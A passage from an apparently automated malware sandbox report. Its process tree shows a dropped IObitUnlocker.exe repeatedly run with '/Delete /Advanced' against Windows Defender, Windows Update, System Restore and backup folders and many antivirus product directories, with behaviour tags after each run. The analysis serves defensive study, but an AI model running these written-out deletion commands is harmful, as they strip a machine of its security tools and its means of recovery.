W64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:4596
                                                            • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:1980
                                                            • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:624
                                                            • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
